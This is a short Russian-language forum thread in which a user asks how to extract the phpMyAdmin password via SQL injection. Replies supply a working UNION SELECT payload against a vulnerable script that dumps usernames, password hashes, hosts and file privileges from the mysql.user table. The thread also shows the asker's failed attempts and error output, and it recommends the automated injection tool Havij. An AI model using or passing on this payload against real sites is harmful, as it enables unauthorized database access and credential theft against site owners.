Как узнать пароль от phpmyadmin через sql инъекцию?

Слышал, что есть методы, может кто подскажет?

 

Code:

http://site.ltd/vuln_script.php?vul_param=-1+union+select+1,concat_ws(0x3a,User,Password,Host,File_priv),3+from+mysql.user--+f

 

это просто слухи

 

SELECT * FROM news WHERE namenews = 'trolol' union+select+1,concat_ws(0x3a,User,Password,Host ,File_priv),3+from+mysql.user--+f'
вот такой запрос получается, выводит мускл еррор 1064

 

Запрос до ума довёл, вывело The Error returned was:
SELECT command denied to user 'trolol'@'localhost' for table 'user'

 

ты не настолько крут чтобы через скуль вытянуть пароль от pma. mysql не даёт заглянуть себе под юбку, пользователю из под которого идёт коннект к базе.

 

не есть хорошо, я так понимаю других способов нет?

 

Врятле, максимум хеш и то максимум!

 

Я в этом деле не проф , но возможно тебе надо смотреть в сторону .штакесс на данном ИП адресе .

 

где вы такие берётесь, посоны?

 

Все возможно.
Юзай хавий.

 

ещё один..